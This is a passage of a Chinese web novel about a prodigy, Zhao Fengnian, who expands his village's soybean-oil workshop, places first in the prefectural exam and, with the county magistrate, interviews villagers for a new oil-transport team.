这天赵丰年回到家后,开了一个简单的家庭会议,大致意思是——还要扩大生产。 赵丰年想要在榨油工坊遍地生花之前打出名声。 于是,赵家又忙了起来。 因为要忙榨油买卖的事,巧娘也暂时不打算养鸡了,秋天又卖了一回甲鱼,比去年价格降了些,总体上是赚钱的买卖。 年前将最后一批鸡卖完,家里就只剩下三十来只鸡了,都是自留的。 巧娘赵来贺把棚屋里里外外打扫了一遍。 不禁感叹,“忽然不孵鸡养鸡了,这还真有些不习惯。” 赵来贺便笑,“回头请了人来把这里做成厂房,你管人管习惯了,就没空怀念养鸡了。” “我管啥,还得你来!” 赵来贺笑了笑,“咱们一起,把这事办好了,宝儿可是说了,咱们家要起一个好头子,带着村里都富起来的。” “还说呢,这事就不能放在年后说么,这几日,桂花婶见着我就拉着问我作坊是不是又要招人了。” “都差不多,年后跟大哥说一声,开春后先把家伙事运过来,再看着招人。” 跟柳家合作,工钱肯定是要照市场价给的,柳大本来还推拒,说儿子在赵家已经给很多了,但耐不住赵来贺巧娘坚持,只得收了下来,一个春天下来,赵家还没开工,柳 家倒是先赚了不少。 看得两村的人羡慕不已,都说赵四家发达了也不忘携带岳家。 便又有人拿出了赵家其他房对比。 赵来金一家上回被拒绝后,便没再提这事,过年期间两家也没什么往来,倒是赵二家拎着东西上门了。 自从之前赵来喜被县城的食肆辞退,起先他把所有的原因都归结在赵四身上,只是随着赵四家过得越来越好,他再不甘心也只能重新找份活做,毕竟还有一家子要养,后头他便跟几个朋友一起去镇上帮人家送货,虽是辛苦了些,好在每个月都能赚几百文。 这回来赵四家,赵来喜也是想问问他们后面运油的事能不能交让他们来做。 赵来贺没当场答应,也没说不可,只说看后面生意情况。 宁得罪君子不得罪小人,他是看透了他这个二哥,不想再被伤一次了。 而赵三自从跟陈莲和离后,也搬去了县城,有人曾说看见他跟那县城那个相好同进同出,不过赵家人已经是许久没见过他了。 将原先养鸡的棚屋改造成了两间厂房,又弄了六套工具,就等着招到人就开工了。 一时间,赵家门庭若市,是个人就想来赵家送礼,只求能把孩子送进来做工干活, 这一次一共招了二十四个人,都是赵家村本村人,附近其他几个村子看得眼热,但是没办法,人赵四说了,只招本村的,往后他们卖出去的油,叫赵家村丰收油。 赵丰年亲自参与了招聘面试,确保都是身家清白人品可靠的才收进来,又签了契书,通过了数日的培训,这才正式能用起来。 而大尺小尺,也成了管事了。 本来两人还要推脱,只是赵丰年跟他们聊过后,他们立马接受了。 就在大尺小尺磨刀霍霍下定决心务必要提姑母管好制油厂之时,赵丰年找到了村长赵大生,谈了一笔生意。 “说是咱们以后的大豆,都优先买给赵四家,照比市场价低一文钱,三文钱的收。” “那还是县城的价格好,能收到四文钱一斤呢,我情愿卖给县城哩。” “卖去县城要自己雇车运过去,费时费力不提,再说那些粮铺老爷们还要压咱们的称,卖给来贺家,都是一个村里的,大家都看着,称是不会少咱的,又不用自个儿跑大老远,省事多了,我肯定要卖给来贺家。” “你儿子就在制油厂干活,一个月拿一钱银子,你自然愿意卖了!” “村长可是说了,还要盖第二个制油厂的,这就又要招人了,来贺说了往后都优先自己村里的人,卖出去的油就叫赵家村丰收油,往后外头提起丰收油第一个想到的就是咱们赵家村,大家都有机会进厂拿一钱银子的工钱,你现在搂紧了,往后你家里人就要排在其他人后头了,你自己想想能不能每个月都多卖出一钱银子吧。” “就是,人宝儿可说了,对厂里贡献大的,年尾上还能拿分红呢!最少也有一两!” 大家都在算着账,嘴上说着不合算,但是一想到以后种的大豆坐在家里就能卖出去,自家人还能去制油厂干活,每个月多拿一钱银子,顿时心里一片火热,有那心急的,当天晚上大半夜就敲开了赵大生家的门,嚷着要签卖豆子的契,还问能不能将自家排在头一个进去干活的。 赵大生哭笑不得送走了同村的,第二天一早就通知大家来签契,同时宣布招人建新厂房。 同时,赵家也在县城买下了一个铺子,往后的油都会先运到县城的铺子,然后分销到各个粮铺酒楼,赵丰年亲自写的招牌——赵家村丰收油油铺。 长是长了点,好歹招牌是打出去了。 不过说是铺子,其类别应该归属于仓库。 眼看着赵家村上下干劲十足,家里的制油厂也逐渐走上了轨道,赵丰年开始专心读书了。 他已经决定要参加今年八月的院试,拿到秀才功名。 巧娘得知了这事后,第一反应就是鸡卖早了。 第二天一早,在桌上看到鸡汤的赵丰年瞬间想起了前两年的惨案。 “娘,其实,骨头汤也挺好喝的,而且我听人讲家吃什么补什么,刚好我补补骨头,也好长高一点。” 赵丰年这两年身高已经逐渐追上了同龄人,只是谁会拒绝再高一点呢,巧娘自然也是不拒绝的,非但买了大骨头,还让卖肉的明日给她留一份猪脑,好给赵丰年补补脑。 幸好赵丰年还不知道他娘给他买了猪脑补脑子,否则定是要哭笑不得了。 得知赵丰年要考秀才,村里的人这回都不约而同送了东西上门,赵大生更是拉着赵来贺不松手。 “宝儿考秀才,肯定要费精神,叔家里那头大花猪也差不多可以宰了,给你们送半扇,给孩子好好补补身体!” 自从上回赵丰年跟赵大生提出自己想要打出赵家村的品牌,拉着全村一同致富后,赵大生看着赵丰年比看自己孙子都稀罕。 八月的时候,赵记的丰收油已经传遍了整个临县,不仅如此,更是忽然出现了很多外地的人前来买油。 顾子升找到赵丰年,告诉了他二月陛下千秋之时,怀江府送上了丰收油,皇帝龙颜大悦 时间拨回二月,陛下寿宴之上。 怀江府献礼,其中有一样东西吸引了众人注意力。 就在满朝文武以为怀江府是不是没东西送了,才会送两罐油来,送礼的官员就将丰收油的来历解释了一遍。 天元帝起了兴致,便多问了几句,得知这油是临县一个叫“赵丰年”的少年发明的,这个少年不仅发明了制油之法,更是八岁便考上了童生,从小便是个神童,顿时满意不已。 “临县,朕听着倒是有些耳熟,罢了,此物于民生有利,大善,既是百姓献礼,照规矩赏下去。” 赵丰年还不知道自己的名字从皇帝的嘴里过了一遍,他只关心自己的赏赐什么时候下来。 顾子升:“” “我前面怎么没发现你这么看中身外之物的?” 赵丰年微笑,“顾大人,我这为了建厂造福乡里,为您添实绩,几乎散尽了家财,你就是这样对你的子民的?” 顾子升无奈。 “得了吧,你后头肯定能千倍百倍赚回来,不过,我说是说让你给我当幕僚,但是也没让你做到这个程度,其实,我对升官真的没什么特别执着——” “顾子升,” 顾子升惊讶,这还是赵丰年头一回这样连名带姓叫自己,事实上,自从来了临县,他还是第一次被人这样连名带姓地叫。 “你一直说你想当一个好官,但是什么是好官?无为而治?殚精竭虑?宵衣旰食?” 八月很快就到了,赵丰年本想一个人去府城考试,巧娘跟赵来贺不放心,想要陪着一起去,只是如今家里的制油厂正是忙的时候,近来又添了两台榨油机,厂里上下三四十余人,才磨合了几个月,没个主心骨肯定是不成的。 最后是赵老头提出来,说要送赵丰年去府城。 赵老头五十还不到,身体也算硬朗,但是到底不比壮年,加上对府城也不熟悉,赵来贺还在犹豫,赵大胖却站了出来拍了拍胸口说愿意陪着一起去。 “去年卖粮的时候我跟着来元叔去过府城,也认得路,四叔您就放心好了,我保证照顾好宝儿跟我爷。” 要搁在以往,王三娘铁定不乐意,可是如今赵家四房是他们拍马都赶不上的,可以说,赵家村乃至附近几个村里,就没比得上赵老四的,就连她,因为有一手腌酸菜的好手艺,制油厂食从她这里订了不少酸菜,让她都小赚了一笔。 是以,虽然仍对赵老四此前不让大胖进厂子干活耿耿于怀,到底没说什么阻拦的话。 大胖这两年确实沉稳了许多,赵来贺思考再三,同意了。 巧娘提前一天晚上做了三人的干粮,没做包子,怕吃坏肚子误事,又给了赵老头五十两银子,只让别亏了吃住。 “有志哥五月考上了童生,我还以为这回他要接着一道考秀才呢。”路过赵来富家的时候,大胖念了一句。 赵丰年往那边瞧了一眼,只见赵大强正满脸笑容看着赵有志上牛车。 “哎呦,慢些,仔细脚下踩空!” “行了爷,你真啰嗦!” “好好好,爷不啰嗦你,你坐稳啰,咱们这就出发了。” 赵丰年收回视线,“他如今还在顾家私塾读书?” 正月去顾家拜年的时候,顾小秀才说起了 赵有志打算去县城的私塾。 大胖不会赶车,他本想试试,险些让驴掉进路边的草坑里,因此被赵老头赶去了车后面跟赵丰年聊天,“哪能呢,刚中了童生,就去县城了,你那时候在县城读书不知道,听说富大伯原先不同意,还是有志哥外公找的路子,你也知道,他外祖家就一个孙女,没有孙子,又特宠他,二话不说就给人送县城私塾去了,一年要五两银子呢!可真够有钱的!” 赵丰年当然知道赵大伯外家怎么宠外孙的,就是赵有志家里,也是完全忽略二房的孙女专疼他一个的。 赵大强有三个孩子,二子一女,女儿早就嫁到了县城不怎么回村,大儿子赵来富生了赵有志,三儿子赵来贵,生了一个女儿赵小云。 他们家没分家,赵来富在家里忙地里的活,赵有志则当了卖货郎,每天挑着担子各个村里跑,赚的钱一半上交公中,剩下一半也留不下来。 “都用在了有志身上。”——这是她娘有一回吐槽赵大伯家的原话。 这回厂里招人,赵来富的弟弟赵来贵也来了,成功地成为了第一批制油工坊的工人,但是据他所知,赵来贵每个月一半的银子依旧都用在了侄子赵有志身上。 厂里的人总调侃他给侄子又卖了什么什么好东西,往后可是要侄子给他摔盆的。 赵来贵也只笑笑不说话。 “大壮,你们今天就出发去府城了?” 说话间,赵大强的牛车走到了他们一起。 赵老头笑着点头,“早点去找到住处,大哥又送有志去县城呢?怎么近来没见着来富?” “这不是大豆快收了赶着追肥呢吗,成日里待在地里了。” “来富是能干。” “嗨,要说能干也是有的,只是可比不上来贺!” 兄弟俩正聊着,赵有志扭头看见赵丰年,正是不耐烦的时候。 “爷,你能不能赶快点,我着急学习呢!” 赵大强匆忙跟赵老头告别,甩着鞭子催牛快些走了。 待赵大伯家的牛车走远,赵大胖挠挠头,“有志哥当真爱学习,难怪能考中童生。” 赵丰年看了他一样,不予评价。 到了府城,已经是快黄昏了,赵老头依着赵来贺的话,找到了一家离院试不远的一家客栈,府城的客栈本就价贵,又恰逢院试,一间上等房要六钱银子,赵老头被这价格震惊后,便说要一间上房给赵丰年,他跟赵大胖只住一间下房就行,被赵丰年拦住了。 “爷跟大胖哥既是来照顾我的,便跟我住一块儿,咱门都住上房,我跟大胖哥住一间,爷住一间,房间挨在一起,也好有个照应。” 赵老头这才同意了,不过坚持他跟大胖住一间,说不能耽误他用功。 赵丰年只得妥协。 几人早来了三天,这三天赵丰年哪里都没去,主要也是赵老头看得严,不但亲自盯着伙食,喝的水都要亲自去厨房烧,就连大胖,都被耳提面命守着赵丰年,不叫乱七八糟的东西近身,弄的本来还轻轻松松想着什么时候逛逛府城的大胖犹如惊弓之鸟,只觉得处处充满了危险,寸步不离地守着堂弟。 赵丰年苦笑不得,知道在他没考完之前他们是放松不了了,索性一连三日都在房间里温书,好叫他们安心,只等考试结束,再带他们在府城好好转一转。 第三天清晨,用过早食干粮,检查好随身用品,赵老头赵大胖就送了赵丰年来到考场外候场,直到看到赵丰年顺利进去,大门关上,两人这才将心回落了下来。 就在赵丰年院试之时,这边柳河村村长来到了柳家拜访。 柳家如今在柳河村是香饽饽。 说起柳老头柳木匠早年的经历,柳河村谁不唏嘘,本来柳老头父母早亡,也没个兄弟帮衬,村里都同情着,但人家自己就是豁得出去闯,学了一手木工本事,正当日子过得像模像样的时候,媳妇又去了,村里人再次感慨命运难料,给他说亲也不乐意,靠着手艺养活了一双儿女,各自成了家,这时候村里就说柳老头也是有本事,可惜女儿没福气,外孙听说是个不长命的,结果好嘛,人外孙是十里八乡出了名的神童,天上文曲星下凡尘,书读得好不说,点子也多,能种地也能赚钱! 这下谁还敢说柳老头女儿没福气?柳老头命不好? 如今柳老头两个孙子都在赵家村制油厂干活,据说还但是当上了小管事,以前一个月就能拿一钱银子,如今更是涨到了一两,柳老头跟柳大则是承包着制油厂的木匠活,眼下只接制油厂那边的活就赚得盆满钵满了。 一想到这里,何止是柳河村的其他人,就是柳河村村长,都觉得柳老头怕不是上辈子做了啥好事,这辈子尽是苦尽甘来,走了这样的狗屎运。 柳河村村长也姓柳,不过跟柳家却不是本家,这此来的目的就是想拜托柳老头替柳河村问问制油厂还招不招人了,招人的话能不能也招几个柳河村的。 自从赵家村有了制油厂,整个村里几乎都围着制油厂转,种的大豆除了上税直接就能内销了,男能进厂干活拿一钱银子,就算不能进厂子,也能接其他的活,女的干后勤,也能赚钱,一时间,赵家村忽然就变成了人人向往的地方了,男的都想去赵家村的制油厂干活,更有甚者,都想到了走迂回路线,想把女儿嫁去赵家村。 柳河村村长是真的羡慕啊,可是赵家村只收自己的人,目前除了他们村柳木匠家的两个孙子,还没其他村的人,是以柳河村不少人都上他这里打听消息,柳河村村长没办法,只得又找上柳老头了。 柳老头却没直接答应下来,只说做不了主,“您也知道,那制油厂虽说是我那女婿做主,很多主意却都是我那外孙的定下的,如今他去了府城考试,家里人怕是也没心思在油厂那边,不如等他从府城回来了,我们再替村里问问?” 柳河村村长自然应下,又说了几句好话,这才离开。 赵家如今确实没心思在制油厂上,要不是制油厂离不开人,赵来贺巧娘都想直接冲到府城了。 而府城这边,赵丰年也出了考场。 院试只有两场,赵丰年身体也不是以往那个病怏怏的身体了,并没有吃不消,是以,只歇了一晚,第二天,赵丰年便带着大大胖跟赵老头在府城里逛了起来。 府城不愧是府城,是临县远远比不上的,若不是赵老头坚持要早些赶回赵家村,赵大胖还舍不得走呢,院试的结果要等到八月底,赵丰年没打算等,便收拾收拾东西回临县了。 也就在这时候,京城中的一座宅子里。 “这是看谁的信,这么开心?” “还能是谁,子升这小子,先前闷不吭声去了怀江府,我知道了还替他担心,果不其然出了事,谁上个任路上还能迷路的?竟一路乞讨流浪到了临县。”说起弟子,周立民语气里满满的无奈。 傅青云笑,“看你这样子,想必塞翁失马了?” “说是结交到了一辈子的挚友。” “这回你倒是不担心了?” 周立民哈哈大笑,“这就是你不收弟子不明白其中缘由了,子升虽看上容易轻信他人,却是心如明镜,他认可的人,定是他如他一般纯善、人品贵重之人,你看看他信中所言,实在是不可多得的人才,我大夏之幸啊!” 傅青云起了点兴趣,周立民索性将信递给他。 待傅青云看完,忍不住赞叹,“此人有如此惊人之才,却屈居乡里,莫不是有官员乡绅勾结作祟,致使朝廷失此人才?” 周立民也正了脸色,“倘若真如此,那帮人就太该死了!” 怀江府的官员们还不知道一场莫须有的罪名落到了自己头上,此时,他们还在对一份考卷称赞。 主持此次院试的学政姓周,见其 他人都十分欣赏这份考卷,也上前看了起来,看完不禁点头, 定好名次后,照例去糊名,这时一官员看到名字后便笑了。 “竟是他。” 学政便问了几句。 那人如实相告,只听得学政接连点头。 “看来,也不必取他县试、府试考卷,此番院试案首已经出来了。” 底下人行礼,“是。” 院试结果一般都在八月底出来,眼看都到了九月,却迟迟没见到报喜的差人,一时间,赵家村的人经过赵家的时候都不敢太大声,生怕触及了伤心事。 就连顾子升都特意来了一趟赵家村,美其名曰是参观治下百姓产业,其实只在油厂转了一圈,就找赵丰年去了。 彼时赵丰年正要同赵青青等人一起进山捡野板栗,巧娘派给他的活,赵丰年瞧出她的心思,便依着她出来捡板栗散心,见顾子升找过来,索性拉了他一起,正好体验民生疾苦。 顾子升哭笑不得,却也有些好奇,当真跟上了,还被塞了一个竹篮。 “你放心,你捡多少回头头都给你带回去,山货就吃个新鲜。” “我还真没见过板栗长什么样,原来这就是板栗,说真的,你就不担心?” 赵丰年用两根树枝夹起一个板栗扔进背篓里,“尽人事听天命,反正,我就是不考科举,应该也饿不死。” “那倒也是。” 何止是饿不死,他都能带着整个赵家村的人一起活得很好,也许还不止赵家村,是整个临县。 “上回说的组织人手把丰收油运去府城这事,最近倒是可以提上日程了,有张通判背书,销路不愁打不开。” 顾子升点头,“我也跟张通判通过信,只是最近秋收,临县县衙里的人手只能借调一两个,还是要你们自己组织人手才行。” “这个无妨,我已经有了想法,回头我把计划书给你,由县衙出面,成立运输队问题不大。” 想将丰收油作为临县的招牌,丰收油就必须走出临县,怀江府还只是第一站,不过,有了怀江府陛下千秋宴献油一时事,又有张通判的大力支持,这事已经成功了一半了,只是时间问题。 “果然我还是希望你能进入官场,你一定是个很好的父母官。” 许是顾子升的嘴开过光,刚下山,报喜的差人就敲着锣到了赵家,身后跟着一众凑热闹道喜的村民。 两拨人刚好在赵家门口碰上,赵丰年还没说什么,顾子升就高兴得跟什么似的。 “快进屋,进屋喝茶!” 那差人看了眼顾子升身上绿色的官袍,以及手上的竹篮,有些不确定,再次确认了一番。 “这里可是怀江府临县千河镇西岭乡赵家村赵丰年学子的家?” 赵丰年上前拱手,“学生正是赵丰年,这位是我临县县令顾大人,顾大人体恤民情,今日特下乡来帮扶村民。” 那差人连忙跟顾子升行了礼,这才又跟赵丰年道喜。 “贺赵秀才大喜,今次院试案首!” 赵来贺巧娘也闻言出了门,当即跟顾子升一起请了人进屋喝茶。 送走顾子升后跟那报信的差人后,一众村民便喜气洋洋地留在赵家商量着要给赵丰年办宴席,赵大生还要开祠堂祭祖,被赵来贺拦了下来。 “是了是了,咱们案首还要考举人的,下回一起告诉列祖列宗就是了!” “这回也是案首,那差人怎么说来着?头一名!” “我就知道你家宝儿铁定能行!往后咱们赵家村可是要出了一大官了!” “那是,也不瞧瞧宝儿都做出多少事了,远的不说,就说制油厂,如今谁不羡慕咱们赵家村,前几日我那势利眼的嫂子还跟我打听我家牛子的婚事呢!” “如今是秀才郎了,可不好一直叫乳名的,得叫大名了!” 要说众人最羡慕的,除了往后赵家可能出一个当大官的儿子,就是秀才能免除家中的赋税了,众人你一言我一语,赵来贺巧娘再次把脸都笑酸了。 赵家摆酒当天,赵家村十分热闹,几乎家家户户都来凑热闹了。 置办了有五十余桌,特地请的镇子上的火夫,一桌二钱银子,菜肉都包买,还带两个烧火切菜的徒弟,就是要问村里各家借桌椅碗筷。 旁人都夸巧娘这酒席办的敞亮,自家人不受累,省心多了。 只是换作要她们办,那肯定还是舍不得花这钱的,只不过如今赵家也不是当初连药都买不起,还要巧娘大冬天替人家浆洗衣服的时候了。 巧娘跟赵来贺忙着招呼客人,这回大房二房倒是来了个齐整,帮着一起招呼端菜,倒是显得其乐融融了。 赵小云带着赵青青赵翠翠在擦桌板,赵大胖就跟村里一帮子孩子去借桌子,问赵丰年要不要一起去玩玩,赵丰年拒绝了,赵大胖又喊上了弟弟二胖。 “二胖,走,跟哥一起去!” “我不去!我一会儿要跟有志哥他们去镇上猜字谜!” “去什么镇上,今天吃席,你哪里都不准去,再说,你认识几个字?就天天跟着他们玩那些,赶紧的!仔细我揍你!” 二胖这才不情不愿跟着他哥走了。 见赵丰年看着那头,赵小云提着木桶路过跟着说了一句,“镇子上的懒汉玩的东西,宝儿你可别学。” 赵小云虽是赵大伯家唯一的孙女,却在家里没什么存在感,赵丰年往日跟她接触不多。 “我听说元宵的时候县城会有灯会,灯会上商贩会准备很多字谜,猜中字谜会给彩头。” “我去过灯会,但是那里的字谜跟他们去镇上玩的不是一回事。”赵来贵此前是卖货郎,赵小云会去灯会并不奇怪。 “总之,你别跟他们一道玩,那不是什么好的。” 赵小云擦另外一张桌子去了,赵青青才开口,“云姐说的没错,他们玩的不是什么好的,不过我相信你,宝儿你跟他们不一样。” “青姐,你也知道?” 赵青青闻言有些担忧,“自打有路闹着要去县城读书被我爹打了一顿后,好不容易消停一阵子,前些日子忽然迷上什么猜字迷的,后头就是富大伯家有志哥也一块儿去了,再后头就隔三差五要去镇上,回回问娘要个一钱半两的,我没见过你跟云姐说的猜字谜,但先前你教我的字我都还记得,有一回我在有路换下来的衣裳里看到了几块碎纸,瞧着花花绿绿的。” 有路就是柱子的大名,也是去了陈秀才那边给新取的,赵丰年听着这话已经猜到这“字谜”怕就是赌博了。 “我记得,有路功课不错,陈秀才也曾说过他可去考童生?” 赵青青点点头,“去年年底尾那会儿陈秀才就劝他去了,爹娘高兴得跟什么似的,可他说他去了,结果钱被偷了没去成,爹娘都差点气疯了,只当是没这个造化,我却觉得,他怕是把钱拿去花用了。” 赵丰年皱了眉头。 “富大伯看有志看得严,有志怎么有空去?” “这就不知道了。” 赵丰年看着那头笑着跟大家讲话的赵有富,想着还是什么时候得提醒他一下,包括赵有志,事关有志的读书的事,他二伯应该听得进去。 正当赵丰年这里想着的时候,只见柳家一家到了,大尺小尺自打当上管事后,便隔三差五住在赵家,知道今天赵家办酒席,昨日也直接歇在这边的,好方便帮忙搭把手,是以,柳大只赶着车带着夏氏跟柳老头一起过来。 只是等赵丰年走过去喊人,才发现多出了一个人。 “我先把东西交给巧娘,看看还有什么活要干,你给驴赶到里头卸大件,再把板车卸了让驴子松快松快就跟妹夫招呼人去,这里只叫爹带着三叔跟宝儿说就是了。” 夏氏麻利地安排好一切,又摸了摸赵丰年的头,笑着拍拍手中的包袱,“舅母给你了一身好衣裳,一会儿 你们聊完记得进屋来找我跟你娘,咱们试试大小!” 赵丰年也笑,“又劳烦舅母了,上回的夏衣刚刚好,这回定也错不了。” “嗨,跟舅母还客气什么,行了,你们聊吧!” 夏氏走后,柳老头看着外孙笑着给他介绍,“这是我们柳河村的村长,你只管跟着大尺小尺叫一声三叔公就行了。” 赵丰年喊过人,便将两人引到了自己的书房。 “这房子,敞亮气派!这么多书呢,一看就文气,难怪能养出这等神童来!” 赵丰年笑了笑,给他们倒上了热水,又问及缘由。 柳村长先是道了喜,这才表面来意,随即便忐忑地等着赵丰年的回复。 这要说出去也是好笑,想他一个快知天命的人还要看一个十多岁的小少年的脸色,只不过,如今这少年小小年纪就办了这么多的事,待他成长起来,还不知道能到何等地步,为了村里,不丢人! “制油厂目前暂时是不缺人了。” 听到这话,柳村长当即难掩失望,却又听赵丰年说到道—— “不过您来得也是巧了,这阵子,我们正打算组织运输队。” 见柳村长疑惑,赵丰年解释了一番。 “这个运输队由我小尺哥带领,目前我们村已经五个名额,还剩下四个名额,衙门那边会派两个人衙差跟着,前期只组十人队,后期,就要看咱们的丰收油能不能打开府城的门了。” 柳村长听到衙门派人就坐不住了。 “衙、衙门还有官大人一起呢?” 赵丰年笑,“怪我没跟您说清楚,这事原是咱们县太爷顾大人的主意,顾大人跟府城的张大人很看好咱们这个丰收油,想把丰收油做成咱们临县的一个特色,只是衙门里的差役毕竟还有公干,故而让我们自个儿出一部分人手,运输队是独立的,不单属于制油厂,算是子厂吧,只不过衙门占一半股,您若有意,不妨回去问问柳河村有些些人家合适又愿意的,明天起就可以来赵家村面试了。” 柳村长都不敢问府城的张大人又是哪一位了,他只知道一件事,他一定要赶在其他村知道之前第一时间将消息传回柳河村,让柳河村的大好儿郎们赶紧来,那个叫什么,面试! 第39章 第39章选拔 柳村长连酒席都没吃就赶回了柳河村。 待他走后,柳老头赶忙问起了让小尺做领头的事。 赵丰年确有这个打算,并且为此跟小尺谈了一次,大尺小尺虽是同胞兄弟,但是两人性格截然不同,大尺跟柳大的性子很像,老实憨厚,有一把子力气,小尺则机灵有巧思,在家的时候喜欢琢磨木工,赵丰年本来以为他会是那种技术人员,但是自从小尺被迫成为小组管事后,行事却颇为灵活,很有领导风范。 这也就为什么他的小组成员个个都服他,反之大尺那边,已经有人心思大了。 之前衙门准备给运输队派两个衙役的时候,周大力立马抓住了机会,是以,赵丰年的打算是,让周大力带带小尺,直到他能独当一面。 而大尺,也会在队伍里,但是他只能充当“打手”这个位置。 柳老头并不觉得卖力气的打手有什么不好的,都是替衙门做事了,还有什么不知足的,换做旁人,就拿他们柳家村来说,大家想来还要走他的后门呢! 柳老头这里替孙子感到高兴,而另一边,柳河村村长也回到了村里。 柳村长刚回到家,见媳妇围上来,水都来不及喝一口,便马不停蹄地让儿子去喊村里家风不错却清贫的六户人家。 柳村长儿子还在疑惑,“什么事这么急?” “大事,好事!你赶紧地,让他们无论是做什么,哪怕是媳妇正生孩子也给我立马过来!动静小一些!” 柳村长儿子也意识到了严重性,连忙去叫人了。 “这、这还是衙门里的大人一起的,我们能成不?” 一听说最近人人都想去的赵家村居然要他们去做工,几家人还没来得及高兴,就听到了要跟衙差一起共事,一瞬间,众人还没去赵家村就开始紧张不安了。 “若是做不好,是不是得拉出去打板子?” 众人你一言我一语,这时,一个高瘦的少年站了出来。 “三叔公,我去!我一定好好干,干的不好只管打我板子,我都认!” 高瘦少年叫孙阿牛,跟这个名字相反,他长得一点都不健壮,家里仅剩的一亩地也在去年买了换药上,如今家里除了一个病弱的娘,也就剩下个间破草房了。 是以,他最先站出来,大家都不意外。 柳村长去年过年给孙家送过两升大豆,孙阿牛闷头接受了,开春后就不时帮柳村长家干活,哪怕柳村长再三拒绝也拦不住,是以,虽然赵丰年说过最好是体格强健的,柳村长这回也还是将孙阿牛喊了过来。 用柳村长的话讲,这孩子有股韧劲。 “阿牛,还有你们几个,瞎担心啥,那是县太爷派来保护运输队的,怎么会打人板子?总之,你们几家好好商量商量,一家一个,定好了人,明日个我们就去赵家村,由那边选人选,我话也放在这里了,我是看你们几家人品好,这日子也实在是在不好过才只挑了你们几家,但是后头选不选得上,还要看个人的,倘若是选上了自然是好,要选不上也赖不着旁人,可不许闹出什么事来!” 这几家人能被选过来自然任凭不会差到哪里去,只见他们当即都连忙点头,还有问能不能这会儿就去赵家村的。 柳河村村长先是一愣,忽然又想,可不得今天去么,赵家村被选中的那几家人可是还有其他村的亲戚的,今日那边摆酒席,万一去了几个蹭喜气的亲戚,再回去把话一传,可不得坏了事么? 一想到这里,柳河村村长当即一拍脑门。 “你们先别家去了,想,就在这里给我想,你们各家谁去!定好了我们一会儿就去!” 这时候就得脸皮厚一点。 几家人也是热火朝天,当即也不拖延了,各家出了一个,加上孙阿牛,到底是选出了六个人。 六家人都是喜气洋洋,又忙着要回家拿东西。 “难得小赵秀才肯给我们这个机会,咱们总不好空着手去。” “可不是,我们家虽穷,可几斗麦子还是有的,我这就回家让婆娘装上!” “我家还有过年那会儿留的两块糖,小赵秀才年纪小,肯定爱吃的。” 柳村长无奈,“得了得了,都是一个村的,我还不知道你们几家什么情形?这会儿回去还得废功夫搜罗借邻居的,索性从我家拿,别忙着推辞,回头孩子选上了,你们再来感谢我也不晚!” 众人感动不已,又是一番耽误,等终于踏上去赵家村的路,已经是申时了。 而赵家这边,来吃席的村民也差不多散了。 赵来金赵兄弟带着几个小子挨家挨户还桌板凳子,有村民刚好坐到自家凳子的,走的时候自己顺带就带走了,剩下的就要他们清理干净再送回去。 巧娘则将剩下的饭菜装盘倒好,好让夏氏跟两个妯娌,还有几个要好的人家带回去,这也是个好意头,让大家都能沾喜气。 话虽如此,只是寻常村里的席上哪里能剩下饭菜来,村民平日里个个肚子里都没有油水,难得有酒席,那是前一天晚上都要空着肚子留着第二天吃席的,也是赵家做好足准备。 夏氏乐呵呵地接过菜篮子,“那我可要不跟你客气了,也叫我带回家去沾沾喜气!” “这李师傅手艺好,下回大尺小尺娶媳妇了,席面也只管亲他掌勺,错不了!” “那我可就享福了,啥都不用沾手,你别说,这红烧菜就是香,你也当真舍得,我看到好些人吃得就差舔盘子了。” 酱油县城就有卖,但是显然,比起正儿八经的能替代猪油的丰收油,这种只是锦上添花的调味料,寻常百姓家还是不舍得买的。 赵家村里就有很多人甚至不知道酱油的,只当赵家请来的伙夫厨艺了得,都说不愧是镇上的厨子。 “大喜的日子,也就这一顿,也没什么要紧的。” 这倒也是,夏氏便也不说什么了。 柳河村村长带着人来到赵家的时候,已经是黄昏了,正站在门口踌躇着,却看见了正往外走的柳大一家。 柳老头还有什么不明白的,当即让他进屋,又让儿子去喊女婿。 赵来贺得知一行人来意,连忙也是将人往屋里带。 “你们先进屋坐,来回奔波的,喝口水先,宝儿如今正跟小——跟县令大人在书房呢,我马上喊他去!” 柳村长听到“县令大人”,当即腿一软,还是一旁的孙阿牛拉了一把,其他几人也是惶惶不安。 “不急,不急,县令大老爷的事要紧,我们多等等不妨事。” 赵来贺给他们添了热水,又笑,“顾大人就是来贺宝儿考上秀才的,不过我琢磨着,也跟你们这事有关,赶巧了不是!” 柳村长这才明白柳老头一家怎么没留在女儿家吃过晚食再回村了,合着是县太爷来了,而且看着这架势,肯定是留下来吃饭的,柳村长擦擦头上沁出的汗,他都想跟着柳老头一家回村了。 顾子升确实是来贺赵丰年考中秀才的,白天赵家人多,他人虽没到,却派了人送了礼来,就是怕自己来了,其他人吃个饭都不自在,饶是如此,也被赵家来吃席的人津津乐道了许久,算是给足了赵家面子,到了下午,他才赶过来,在赵家用晚食。 这也是之前说好的。 两人在书房里正谈到运输队,结果赵来贺就过来,说柳村长带着几个人来面试了。 赵丰年立即便明白了为何柳村长这么急着赶过来,不禁笑了笑。 “柳河村?就是你方才说过的?” 赵丰年点点头,“柳河村水田居多,虽是水稻价高于大豆、小麦,但碍于人均地少,兼之易受雨水影响,总归是穷苦,这些日子我们从其他村里买大豆,他们村没办法做大豆的生意,也只能眼睁睁看着。” 顾子升摇头,“天下百姓贫苦者众矣——你那是什么表情?我又不是那种什么都不知道的大少爷!” 赵丰年笑,“罢了,什么都知道的大少爷,跟我一起去面试吧。” 本来,柳河村的几人听说县太爷也在,如今又出现在了自己面前,都十分紧张,只是当赵丰年问到了后面,大家就顾不上县太爷了。 随着人一个个人地过去,孙阿牛忐忑又坚定地走到了赵丰年面前。 赵丰年方才就注意到了他,就算在这个大家普遍都瘦小的年代,孙阿牛也瘦得格外出众,真要说的话,就像跟竹竿似的。 顾子升也瞧得十分稀罕,更多的是疑惑,只见他艰难地转头问道—— “柳河村,原来这般穷苦?” 赵丰年猜测这背后肯定有一段故事,只撇了他一眼,“你要想当个送温暖的父母官,稍后有的是功夫,现在,收起你的遐想。” 顾子升一脸无奈,只见巧娘过来添水,乐呵呵地往他手里塞了几颗开了口的板栗。 “垫垫肚子,香着呢!” 顾子升下意识剥起了板栗。 赵丰年正了色,重新看向孙阿牛,“你叫孙阿牛?听柳叔公说,你家里除了一个母亲,就你一个人了?” “是,是这样没错。” “那么,假设,运输队接到紧急的活要立刻出发离开这里,彼时你母亲又刚好生了病,你怎么选?” 顾子升诧异地看相赵丰年,前面几个人的时候,可没问这么,怎么说呢,锋利又残忍的?问题。 